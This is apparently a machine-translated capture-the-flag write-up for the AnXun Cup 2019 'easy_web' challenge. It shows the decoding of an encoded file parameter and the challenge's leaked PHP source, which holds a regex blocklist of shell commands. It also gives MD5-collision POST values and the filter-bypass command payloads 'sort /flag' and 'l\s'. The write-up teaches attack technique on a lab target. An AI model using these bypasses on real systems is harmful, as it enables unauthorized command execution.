当前位置:网站首页>[AnXun cup 2019] easy_web
[AnXun cup 2019] easy_web
2022-08-02 22:36:00 【The wind -】
Inspect knowledge points:
1. The sensitivity of decryption (or the strength of the tool)
2.md5 accumulation of strong comparisons
3. Function accumulation of reading files
Solution:
Enter the page to directly burp the packet:

There is an img=TXpVek5UTTFNbVUzTURabE5qYz0, let's put it directly into the script and run it:

The script is easy to write, just write one according to the way you like.It is decoded and found to be 555.png. Because of the characteristics of the url here, it should only be encoded three times here:
hex->base64->base64
Then let's try to read the page source code:

Then paste it into img

Decode it
';die("xixiï½ no flag");} else {$txt = base64_encode(file_get_contents($file));echo "
";echo "
";}echo $cmd;echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "
";} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])){echo `$cmd`;} else {echo ("md5 is funny ~");}}?>
There is a lot of filtering about cmd, and there is another entry condition
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
Simple, fry the bottom of the house:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
Posture one:
sort /flag

The lack of this posture is that I don't know the name of the flag, so I have to guess
Pose Two:
l\s

This method is very useful to bypass, and you can also know the flag name

边栏推荐
猜你喜欢

LeetCode - 105. 从前序与中序遍历序列构造二叉树;023.合并K个升序链表

服务器Centos7 静默安装Oracle Database 12.2

Nature Microbiology综述:聚焦藻际--浮游植物和细菌互作的生态界面

Brain-computer interface 003 | Musk said that he has realized a virtual self-dialogue with the cloud, and related concept shares have risen sharply

Electron使用指南之初体验

Flutter自带国际化适配自动生成方案

AI科学家:自动发现物理系统的隐藏状态变量

JVM内存和垃圾回收-04.程序计数器(PC寄存器)

J9数字论:互联网跨链桥有什么作用呢?

Five data structures of Redis and their corresponding usage scenarios
随机推荐
Flutter自带国际化适配自动生成方案
MaxCompute 近期发布上线的版本的 SQL 引擎新功能参数化视图有什么优势?
golang刷leetcode动态规划(12)最小路径和
2022-07-28
聊一聊 AS 的一些好用的功能
MySQL安装时一直卡在starting server
一款好用的FAQ搭建工具
分布式事务
LeetCode:622. 设计循环队列【模拟循环队列】
ssh配置
服务器Centos7 静默安装Oracle Database 12.2
es 读流程源码解析
Introduction of uncommon interfaces of openlayers
解析Collection接口中的常用的被实现子类重写的方法
PG 之 SQL执行计划
spack install报错/tmp/ccBDQNaB.s: Assembler message:
golang刷leetcode 经典(12) 完全二叉树插入器
斯堪尼亚SCANIA OTL标签介绍
一些不错的博主
松鼠短视频系统为用户加入随机头像代码-快速为用户加上随机头衔